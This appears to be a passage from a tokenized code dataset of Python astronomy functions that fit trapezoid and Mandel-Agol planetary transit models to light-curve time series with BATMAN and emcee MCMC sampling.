{<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':transitparams,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':leastsqfit,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':<NUM_LIT:0><EOL>},<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':magsarefluxes,<EOL>},<EOL>}<EOL>return returndict<EOL><DEDENT>", "docstring": "This fits a trapezoid transit model to a magnitude time series.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to fit a trapezoid planet-transit model\n        to.\n\n    period : float\n        The period to use for the model fit.\n\n    transitparams : list of floats\n        These are initial parameters for the transit model fit. A list of the\n        following form is required::\n\n            transitparams = [transitperiod (time),\n                             transitepoch (time),\n                             transitdepth (flux or mags),\n                             transitduration (phase),\n                             ingressduration (phase)]\n\n        - for magnitudes -> `transitdepth` should be < 0\n        - for fluxes     -> `transitdepth` should be > 0\n\n        If `transitepoch` is None, this function will do an initial spline fit\n        to find an approximate minimum of the phased light curve using the given\n        period.\n\n        The `transitdepth` provided is checked against the value of\n        `magsarefluxes`. if `magsarefluxes = True`, the `transitdepth` is forced\n        to be > 0; if `magsarefluxes` = False, the `transitdepth` is forced to\n        be < 0.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        If True, will treat the input values of `mags` as fluxes for purposes of\n        plotting the fit and sig-clipping.\n\n    plotfit : str or False\n        If this is a string, this function will make a plot for the fit to the\n        mag/flux time-series and writes the plot to the path specified here.\n\n    ignoreinitfail : bool\n        If this is True, ignores the initial failure to find a set of optimized\n        Fourier parameters using the global optimization function and proceeds\n        to do a least-squares fit anyway.\n\n    verbose : bool\n        If True, will indicate progress and warn of any problems.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict containing the model fit parameters, the\n        minimized chi-sq value and the reduced chi-sq value. The form of this\n        dict is mostly standardized across all functions in this module::\n\n            {\n                'fittype':'traptransit',\n                'fitinfo':{\n                    'initialparams':the initial transit params provided,\n                    'finalparams':the final model fit transit params ,\n                    'finalparamerrs':formal errors in the params,\n                    'leastsqfit':the full tuple returned by scipy.leastsq,\n                    'fitmags': the model fit mags,\n                    'fitepoch': the epoch of minimum light for the fit,\n                    'ntransitpoints': the number of LC points in transit phase\n                },\n                'fitchisq': the minimized value of the fit's chi-sq,\n                'fitredchisq':the reduced chi-sq value,\n                'fitplotfile': the output fit plot if fitplot is not None,\n                'magseries':{\n                    'times':input times in phase order of the model,\n                    'phase':the phases of the model mags,\n                    'mags':input mags/fluxes in the phase order of the model,\n                    'errs':errs in the phase order of the model,\n                    'magsarefluxes':input value of magsarefluxes kwarg\n                }\n            }", "id": "f14680:m0"}
{"signature": "def _get_value(quantitystr, fitparams, fixedparams):", "body": "<EOL>fitparamskeys, fixedparamskeys = fitparams.keys(), fixedparams.keys()<EOL>if quantitystr in fitparamskeys:<EOL><INDENT>quantity = fitparams[quantitystr]<EOL><DEDENT>elif quantitystr in fixedparamskeys:<EOL><INDENT>quantity = fixedparams[quantitystr]<EOL><DEDENT>return quantity<EOL>", "docstring": "This decides if a value is to be fit for or is fixed in a model fit.\n\n    When you want to get the value of some parameter, but you're not sure if\n    it's being fit or if it is fixed. then, e.g. for `period`::\n\n        period_value = _get_value('period', fitparams, fixedparams)", "id": "f14680:m1"}
{"signature": "def _transit_model(times, t0, per, rp, a, inc, ecc, w, u, limb_dark,<EOL>exp_time_minutes=<NUM_LIT:2>, supersample_factor=<NUM_LIT:7>):", "body": "params = batman.TransitParams()  <EOL>params.t0 = t0                   <EOL>params.per = per                 <EOL>params.rp = rp                   <EOL>params.a = a                     <EOL>params.inc = inc                 <EOL>params.ecc = ecc                 <EOL>params.w = w                     <EOL>params.u = u                     <EOL>params.limb_dark = limb_dark     <EOL>t = times<EOL>m = batman.TransitModel(params, t, exp_time=exp_time_minutes/<NUM_LIT>/<NUM_LIT>,<EOL>supersample_factor=supersample_factor)<EOL>return params, m<EOL>", "docstring": "This returns a BATMAN planetary transit model.\n\n    Parameters\n    ----------\n\n    times : np.array\n        The times at which the model will be evaluated.\n\n    t0 : float\n        The time of periastron for the transit.\n\n    per : float\n        The orbital period of the planet.\n\n    rp : float\n        The stellar radius of the planet's star (in Rsun).\n\n    a : float\n        The semi-major axis of the planet's orbit (in Rsun).\n\n    inc : float\n        The orbital inclination (in degrees).\n\n    ecc : float\n        The eccentricity of the orbit.\n\n    w : float\n        The longitude of periastron (in degrees).\n\n    u : list of floats\n        The limb darkening coefficients specific to the limb darkening model\n        used.\n\n    limb_dark : {\"uniform\", \"linear\", \"quadratic\", \"square-root\", \"logarithmic\", \"exponential\", \"power2\", \"custom\"}\n        The type of limb darkening model to use. See the full list here:\n\n        https://www.cfa.harvard.edu/~lkreidberg/batman/tutorial.html#limb-darkening-options\n\n    exp_time_minutes : float\n        The amount of time to 'smear' the transit LC points over to simulate a\n        long exposure time.\n\n    supersample_factor: int\n        The number of supersampled time data points to average the lightcurve\n        model over.\n\n    Returns\n    -------\n\n    (params, batman_model) : tuple\n        The returned tuple contains the params list and the generated\n        `batman.TransitModel` object.", "id": "f14680:m2"}
{"signature": "def _log_prior_transit(theta, priorbounds):", "body": "<EOL>allowed = True<EOL>for ix, key in enumerate(np.sort(list(priorbounds.keys()))):<EOL><INDENT>if priorbounds[key][<NUM_LIT:0>] < theta[ix] < priorbounds[key][<NUM_LIT:1>]:<EOL><INDENT>allowed = True and allowed<EOL><DEDENT>else:<EOL><INDENT>allowed = False<EOL><DEDENT><DEDENT>if allowed:<EOL><INDENT>return <NUM_LIT:0.><EOL><DEDENT>return -np.inf<EOL>", "docstring": "Assume priors on all parameters have uniform probability.", "id": "f14680:m3"}
{"signature": "def _log_likelihood_transit(theta, params, model, t, flux, err_flux,<EOL>priorbounds):", "body": "u = []<EOL>for ix, key in enumerate(sorted(priorbounds.keys())):<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>params.rp = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.t0 = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.a = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.inc = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.per = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.per = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.w = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>u.append(theta[ix])<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>u.append(theta[ix])<EOL>params.u = u<EOL><DEDENT><DEDENT>lc = model.light_curve(params)<EOL>residuals = flux - lc<EOL>log_likelihood = -<NUM_LIT:0.5>*(<EOL>np.sum((residuals/err_flux)**<NUM_LIT:2> + np.log(<NUM_LIT:2>*np.pi*(err_flux)**<NUM_LIT:2>))<EOL>)<EOL>return log_likelihood<EOL>", "docstring": "Given a batman TransitModel and its proposed parameters (theta), update the\nbatman params object with the proposed parameters and evaluate the gaussian\nlikelihood.\n\nNote: the priorbounds are only needed to parse theta.", "id": "f14680:m5"}
{"signature": "def _log_likelihood_transit_plus_line(theta, params, model, t, data_flux,<EOL>err_flux, priorbounds):", "body": "u = []<EOL>for ix, key in enumerate(sorted(priorbounds.keys())):<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>params.rp = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.t0 = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.a = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.inc = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.per = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.per = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>params.w = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>u.append(theta[ix])<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>u.append(theta[ix])<EOL>params.u = u<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>poly_order0 = theta[ix]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>poly_order1 = theta[ix]<EOL><DEDENT><DEDENT>try:<EOL><INDENT>poly_order0<EOL><DEDENT>except Exception as e:<EOL><INDENT>poly_order0 = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>transit = model.light_curve(params)<EOL>line = poly_order0 + t*poly_order1<EOL>model = transit + line<EOL>residuals = data_flux - model<EOL>log_likelihood = -<NUM_LIT:0.5>*(<EOL>np.sum((residuals/err_flux)**<NUM_LIT:2> + np.log(<NUM_LIT:2>*np.pi*(err_flux)**<NUM_LIT:2>))<EOL>)<EOL>return log_likelihood<EOL>", "docstring": "Given a batman TransitModel and its proposed parameters (theta), update the\nbatman params object with the proposed parameters and evaluate the gaussian\nlikelihood.\n\nNote: the priorbounds are only needed to parse theta.", "id": "f14680:m6"}
{"signature": "def log_posterior_transit(theta, params, model, t, flux, err_flux, priorbounds):", "body": "lp = _log_prior_transit(theta, priorbounds)<EOL>if not np.isfinite(lp):<EOL><INDENT>return -np.inf<EOL><DEDENT>else:<EOL><INDENT>return lp + _log_likelihood_transit(theta, params, model, t, flux,<EOL>err_flux, priorbounds)<EOL><DEDENT>", "docstring": "Evaluate posterior probability given proposed model parameters and\nthe observed flux timeseries.", "id": "f14680:m7"}
{"signature": "def log_posterior_transit_plus_line(theta, params, model, t, flux, err_flux,<EOL>priorbounds):", "body": "lp = _log_prior_transit_plus_line(theta, priorbounds)<EOL>if not np.isfinite(lp):<EOL><INDENT>return -np.inf<EOL><DEDENT>else:<EOL><INDENT>return (<EOL>lp + _log_likelihood_transit_plus_line(<EOL>theta, params, model, t, flux, err_flux, priorbounds)<EOL>)<EOL><DEDENT>", "docstring": "Evaluate posterior probability given proposed model parameters and\nthe observed flux timeseries.", "id": "f14680:m8"}
{"signature": "def mandelagol_fit_magseries(<EOL>times, mags, errs,<EOL>fitparams,<EOL>priorbounds,<EOL>fixedparams,<EOL>trueparams=None,<EOL>burninpercent=<NUM_LIT>,<EOL>plotcorner=False,<EOL>samplesavpath=False,<EOL>n_walkers=<NUM_LIT:50>,<EOL>n_mcmc_steps=<NUM_LIT>,<EOL>eps=<NUM_LIT>,<EOL>skipsampling=False,<EOL>overwriteexistingsamples=False,<EOL>mcmcprogressbar=False,<EOL>plotfit=False,<EOL>magsarefluxes=False,<EOL>sigclip=<NUM_LIT>,<EOL>verbose=True,<EOL>nworkers=<NUM_LIT:4><EOL>):", "body": "from multiprocessing import Pool<EOL>fittype = '<STR_LIT>'<EOL>if not magsarefluxes:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>if not samplesavpath:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if not mandel_agol_dependencies:<EOL><INDENT>raise ImportError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>nzind = np.nonzero(serrs)<EOL>stimes, smags, serrs = stimes[nzind], smags[nzind], serrs[nzind]<EOL>init_period = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_epoch = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_rp = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_sma = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_incl = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_ecc = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_omega = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>limb_dark = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_u = _get_value('<STR_LIT:u>', fitparams, fixedparams)<EOL>if not limb_dark == '<STR_LIT>':<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>init_params, init_m = _transit_model(stimes, init_epoch, init_period,<EOL>init_rp, init_sma, init_incl, init_ecc,<EOL>init_omega, init_u, limb_dark)<EOL>init_flux = init_m.light_curve(init_params)<EOL>theta, fitparamnames = [], []<EOL>for k in np.sort(list(fitparams.keys())):<EOL><INDENT>if isinstance(fitparams[k], float) or isinstance(fitparams[k], int):<EOL><INDENT>theta.append(fitparams[k])<EOL>fitparamnames.append(fitparams[k])<EOL><DEDENT>elif isinstance(fitparams[k], list):<EOL><INDENT>if not len(fitparams[k]) == <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>theta.append(fitparams[k][<NUM_LIT:0>])<EOL>theta.append(fitparams[k][<NUM_LIT:1>])<EOL>fitparamnames.append(fitparams[k][<NUM_LIT:0>])<EOL>fitparamnames.append(fitparams[k][<NUM_LIT:1>])<EOL><DEDENT><DEDENT>n_dim = len(theta)<EOL>initial_position_vec = [theta + eps*np.random.randn(n_dim)<EOL>for i in range(n_walkers)]<EOL>if not skipsampling:<EOL><INDENT>backend = emcee.backends.HDFBackend(samplesavpath)<EOL>if overwriteexistingsamples:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'.format(samplesavpath)<EOL>)<EOL>backend.reset(n_walkers, n_dim)<EOL><DEDENT>starting_positions = initial_position_vec<EOL>isfirstrun = True<EOL>if os.path.exists(backend.filename):<EOL><INDENT>if backend.iteration > <NUM_LIT:1>:<EOL><INDENT>starting_positions = None<EOL>isfirstrun = False<EOL><DEDENT><DEDENT>if verbose and isfirstrun:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'.<EOL>format(fittype, n_dim, n_mcmc_steps, n_walkers) +<EOL>'<STR_LIT>'.format(nworkers)<EOL>)<EOL><DEDENT>elif verbose and not isfirstrun:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'.<EOL>format(fittype, n_dim, n_mcmc_steps, n_walkers) +<EOL>'<STR_LIT>'.format(nworkers)<EOL>)<EOL><DEDENT>import sys<EOL>if sys.version_info >= (<NUM_LIT:3>, <NUM_LIT:3>):<EOL><INDENT>with Pool(nworkers) as pool:<EOL><INDENT>sampler = emcee.EnsembleSampler(<EOL>n_walkers, n_dim, log_posterior_transit,<EOL>args=(init_params, init_m, stimes,<EOL>smags, serrs, priorbounds),<EOL>pool=pool,<EOL>backend=backend<EOL>)<EOL>sampler.run_mcmc(starting_positions, n_mcmc_steps,<EOL>progress=mcmcprogressbar)<EOL><DEDENT><DEDENT>elif sys.version_info < (<NUM_LIT:3>, <NUM_LIT:3>):<EOL><INDENT>sampler = emcee.EnsembleSampler(<EOL>n_walkers, n_dim, log_posterior_transit,<EOL>args=(init_params, init_m, stimes, smags, serrs, priorbounds),<EOL>threads=nworkers,<EOL>backend=backend<EOL>)<EOL>sampler.run_mcmc(starting_positions, n_mcmc_steps,<EOL>progress=mcmcprogressbar)<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'.format(<EOL>fittype, n_mcmc_steps, n_walkers<EOL>) + '<STR_LIT>'.format(nworkers)<EOL>)<EOL><DEDENT><DEDENT>reader = emcee.backends.HDFBackend(samplesavpath)<EOL>n_to_discard = int(burninpercent*n_mcmc_steps)<EOL>samples = reader.get_chain(discard=n_to_discard, flat=True)<EOL>log_prob_samples = reader.get_log_prob(discard=n_to_discard, flat=True)<EOL>log_prior_samples = reader.get_blobs(discard=n_to_discard, flat=True)<EOL>fit_statistics = list(<EOL>map(lambda v: (v[<NUM_LIT:1>], v[<NUM_LIT:2>]-v[<NUM_LIT:1>], v[<NUM_LIT:1>]-v[<NUM_LIT:0>]),<EOL>list(zip( *np.percentile(samples, [<NUM_LIT>, <NUM_LIT:50>, <NUM_LIT>], axis=<NUM_LIT:0>))))<EOL>)<EOL>medianparams, std_perrs, std_merrs = {}, {}, {}<EOL>for ix, k in enumerate(np.sort(list(priorbounds.keys()))):<EOL><INDENT>medianparams[k] = fit_statistics[ix][<NUM_LIT:0>]<EOL>std_perrs[k] = fit_statistics[ix][<NUM_LIT:1>]<EOL>std_merrs[k] = fit_statistics[ix][<NUM_LIT:2>]<EOL><DEDENT>stderrs = {'<STR_LIT>':std_perrs, '<STR_LIT>':std_merrs}<EOL>per = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>t0 = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>rp = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>sma = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>incl = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>ecc = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>omega = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>limb_dark = _get_value('<STR_LIT>', medianparams, fixedparams)<EOL>try:<EOL><INDENT>u = fixedparams['<STR_LIT:u>']<EOL><DEDENT>except Exception as e:<EOL><INDENT>u = [medianparams['<STR_LIT>'], medianparams['<STR_LIT>']]<EOL><DEDENT>fit_params, fit_m = _transit_model(stimes, t0, per, rp, sma, incl, ecc,<EOL>omega, u, limb_dark)<EOL>fitmags = fit_m.light_curve(fit_params)<EOL>fepoch = t0<EOL>returndict = {<EOL>'<STR_LIT>':fittype,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':fitparams,<EOL>'<STR_LIT>':init_flux,<EOL>'<STR_LIT>':fixedparams,<EOL>'<STR_LIT>':medianparams,<EOL>'<STR_LIT>':stderrs,<EOL>'<STR_LIT>':fitmags,<EOL>'<STR_LIT>':fepoch,<EOL>},<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':stimes,<EOL>'<STR_LIT>':smags,<EOL>'<STR_LIT>':serrs,<EOL>'<STR_LIT>':magsarefluxes,<EOL>},<EOL>}<EOL>if plotcorner:<EOL><INDENT>if isinstance(trueparams,dict):<EOL><INDENT>trueparamkeys = np.sort(list(trueparams.keys()))<EOL>truelist = [trueparams[k] for k in trueparamkeys]<EOL>fig = corner.corner(<EOL>samples,<EOL>labels=trueparamkeys,<EOL>truths=truelist,<EOL>quantiles=[<NUM_LIT>, <NUM_LIT:0.5>, <NUM_LIT>], show_titles=True<EOL>)<EOL><DEDENT>else:<EOL><INDENT>fig = corner.corner(samples,<EOL>labels=fitparamnames,<EOL>quantiles=[<NUM_LIT>, <NUM_LIT:0.5>, <NUM_LIT>],<EOL>show_titles=True)<EOL><DEDENT>plt.savefig(plotcorner, dpi=<NUM_LIT>)<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'.format(plotcorner))<EOL><DEDENT><DEDENT>if plotfit and isinstance(plotfit, str):<EOL><INDENT>f, ax = plt.subplots(figsize=(<NUM_LIT:8>,<NUM_LIT:6>))<EOL>ax.scatter(stimes, smags, c='<STR_LIT:k>', alpha=<NUM_LIT:0.5>, label='<STR_LIT>',<EOL>zorder=<NUM_LIT:1>, s=<NUM_LIT>, rasterized=True, linewidths=<NUM_LIT:0>)<EOL>ax.scatter(stimes, init_flux, c='<STR_LIT:r>', alpha=<NUM_LIT:1>,<EOL>s=<NUM_LIT>, zorder=<NUM_LIT:2>, rasterized=True, linewidths=<NUM_LIT:0>,<EOL>label='<STR_LIT>')<EOL>ax.scatter(<EOL>stimes, fitmags, c='<STR_LIT:b>', alpha=<NUM_LIT:1>,<EOL>s=<NUM_LIT>, zorder=<NUM_LIT:3>, rasterized=True, linewidths=<NUM_LIT:0>,<EOL>label='<STR_LIT>'.format(<EOL>len(fitparamnames))<EOL>)<EOL>ax.legend(loc='<STR_LIT>')<EOL>ax.set(xlabel='<STR_LIT>', ylabel='<STR_LIT>')<EOL>f.savefig(plotfit, dpi=<NUM_LIT>, bbox_inches='<STR_LIT>')<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'.format(plotfit))<EOL><DEDENT>returndict['<STR_LIT>'] = plotfit<EOL><DEDENT>return returndict<EOL>", "docstring": "This fits a Mandel & Agol (2002) planetary transit model to a flux time\n    series. You can fit and fix whatever parameters you want.\n\n    It relies on Kreidberg (2015)'s BATMAN implementation for the transit model,\n    emcee to sample the posterior (Foreman-Mackey et al 2013), `corner` to plot\n    it, and `h5py` to save the samples. See e.g., Claret's work for good guesses\n    of star-appropriate limb-darkening parameters.\n\n    NOTE: this only works for flux time-series at the moment.\n\n    NOTE: Between the `fitparams`, `priorbounds`, and `fixedparams` dicts, you\n    must specify all of the planetary transit parameters required by BATMAN:\n    `['t0', 'rp', 'sma', 'incl', 'u', 'rp', 'ecc', 'omega', 'period']`, or the\n    BATMAN model will fail to initialize.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input flux time-series to fit a Fourier cosine series to.\n\n    fitparams : dict\n        This is the initial parameter guesses for MCMC, found e.g., by\n        BLS. The key string format must not be changed, but any parameter can be\n        either \"fit\" or \"fixed\". If it is \"fit\", it must have a corresponding\n        prior. For example::\n\n            fitparams = {'t0':1325.9, 'rp':np.sqrt(fitd['transitdepth']),\n                         'sma':6.17, 'incl':85, 'u':[0.3, 0.2]}\n\n        where 'u' is a list of the limb darkening parameters, Linear first, then\n        quadratic. Quadratic limb darkening is the only form implemented.\n\n    priorbounds : dict\n        This sets the lower & upper bounds on uniform prior, e.g.::\n\n            priorbounds = {'rp':(0.135, 0.145), 'u_linear':(0.3-1, 0.3+1),\n                           'u_quad':(0.2-1, 0.2+1), 't0':(np.min(time),\n                           np.max(time)), 'sma':(6,6.4), 'incl':(80,90)}\n\n    fixedparams : dict\n        This sets which parameters are fixed, and their values. For example::\n\n            fixedparams = {'ecc':0.,\n                           'omega':90.,\n                           'limb_dark':'quadratic',\n                           'period':fitd['period'] }\n\n        `limb_dark` must be \"quadratic\".  It's \"fixed\", because once you\n        choose your limb-darkening model, it's fixed.\n\n    trueparams : list of floats\n        The true parameter values you're fitting for, if they're known (e.g., a\n        known planet, or fake data). Only for plotting purposes.\n\n    burninpercent : float\n        The percent of MCMC samples to discard as burn-in.\n\n    plotcorner : str or False\n        If this is a str, points to the path of output corner plot that will be\n        generated for this MCMC run.\n\n    samplesavpath : str\n        This must be provided so `emcee` can save its MCMC samples to disk as\n        HDF5 files. This will set the path of the output HDF5file written.\n\n    n_walkers : int\n        The number of MCMC walkers to use.\n\n    n_mcmc_steps : int\n        The number of MCMC steps to take.\n\n    eps : float\n        The radius of the `n_walkers-dimensional` Gaussian ball used to\n        initialize the MCMC.\n\n    skipsampling : bool\n        If you've already collected MCMC samples, and you do not want any more\n        sampling (e.g., just make the plots), set this to be True.\n\n    overwriteexistingsamples : bool\n        If you've collected samples, but you want to overwrite them, set this to\n        True. Usually, it should be False, which appends samples to\n        `samplesavpath` HDF5 file.\n\n    mcmcprogressbar : bool\n        If True, will show a progress bar for the MCMC process.\n\n    plotfit: str or bool\n        If a str, indicates the path of the output fit plot file. If False, no\n        fit plot will be made.\n\n    magsarefluxes : bool\n        This indicates if the input measurements in `mags` are actually fluxes.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If True, will indicate MCMC progress.\n\n    nworkers : int\n        The number of parallel workers to launch for MCMC.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict containing the model fit parameters and\n        other fit information. The form of this dict is mostly standardized\n        across all functions in this module::\n\n            {\n                'fittype':'mandelagol',\n                'fitinfo':{\n                    'initialparams':the initial transit params provided,\n                    'fixedparams':the fixed transit params provided,\n                    'finalparams':the final model fit transit params,\n                    'finalparamerrs':formal errors in the params,\n                    'fitmags': the model fit mags,\n                    'fitepoch': the epoch of minimum light for the fit,\n                },\n                'fitplotfile': the output fit plot if fitplot is not None,\n                'magseries':{\n                    'times':input times in phase order of the model,\n                    'phase':the phases of the model mags,\n                    'mags':input mags/fluxes in the phase order of the model,\n                    'errs':errs in the phase order of the model,\n                    'magsarefluxes':input value of magsarefluxes kwarg\n                }\n            }", "id": "f14680:m9"}
{"signature": "def mandelagol_and_line_fit_magseries(<EOL>times, mags, errs,<EOL>fitparams,<EOL>priorbounds,<EOL>fixedparams,<EOL>trueparams=None,<EOL>burninpercent=<NUM_LIT>,<EOL>plotcorner=False,<EOL>timeoffset=<NUM_LIT:0>,<EOL>samplesavpath=False,<EOL>n_walkers=<NUM_LIT:50>,<EOL>n_mcmc_steps=<NUM_LIT>,<EOL>eps=<NUM_LIT>,<EOL>skipsampling=False,<EOL>overwriteexistingsamples=False,<EOL>mcmcprogressbar=False,<EOL>plotfit=False,<EOL>scatterxdata=None,<EOL>scatteryaxes=None,<EOL>magsarefluxes=True,<EOL>sigclip=<NUM_LIT>,<EOL>verbose=True,<EOL>nworkers=<NUM_LIT:4><EOL>):", "body": "from multiprocessing import Pool<EOL>fittype = '<STR_LIT>'<EOL>if not magsarefluxes:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>if not samplesavpath:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if not mandel_agol_dependencies:<EOL><INDENT>raise ImportError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>nzind = np.nonzero(serrs)<EOL>stimes, smags, serrs = stimes[nzind], smags[nzind], serrs[nzind]<EOL>init_period = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_epoch = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_rp = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_sma = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_incl = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_ecc = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_omega = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>limb_dark = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_u = _get_value('<STR_LIT:u>', fitparams, fixedparams)<EOL>init_poly_order0 = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>init_poly_order1 = _get_value('<STR_LIT>', fitparams, fixedparams)<EOL>if not limb_dark == '<STR_LIT>':<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>init_params, init_m = _transit_model(<EOL>stimes, init_epoch, init_period, init_rp, init_sma, init_incl,<EOL>init_ecc, init_omega, init_u, limb_dark)<EOL>init_flux = (<EOL>init_m.light_curve(init_params) +<EOL>init_poly_order0 + init_poly_order1*stimes<EOL>)<EOL>theta, fitparamnames = [], []<EOL>for k in np.sort(list(fitparams.keys())):<EOL><INDENT>if isinstance(fitparams[k], float) or isinstance(fitparams[k], int):<EOL><INDENT>theta.append(fitparams[k])<EOL>fitparamnames.append(fitparams[k])<EOL><DEDENT>elif isinstance(fitparams[k], list):<EOL><INDENT>if not len(fitparams[k]) == <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>theta.append(fitparams[k][<NUM_LIT:0>])<EOL>theta.append(fitparams[k][<NUM_LIT:1>])<EOL>fitparamnames.append(fitparams[k][<NUM_LIT:0>])<EOL>fitparamnames.append(fitparams[k][<NUM_LIT:1>])<EOL><DEDENT><DEDENT>n_dim = len(theta)<EOL>if not skipsampling:<EOL><INDENT>backend = emcee.backends.HDFBackend(samplesavpath)<EOL>if overwriteexistingsamples:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'.format(samplesavpath)<EOL>)<EOL>backend.reset(n_walkers, n_dim)<EOL><DEDENT>def nll(*args):<EOL><INDENT>return -_log_likelihood_transit_plus_line(*args)<EOL><DEDENT>soln = spminimize(<EOL>nll, theta, method='<STR_LIT>',<EOL>args=(init_params, init_m, 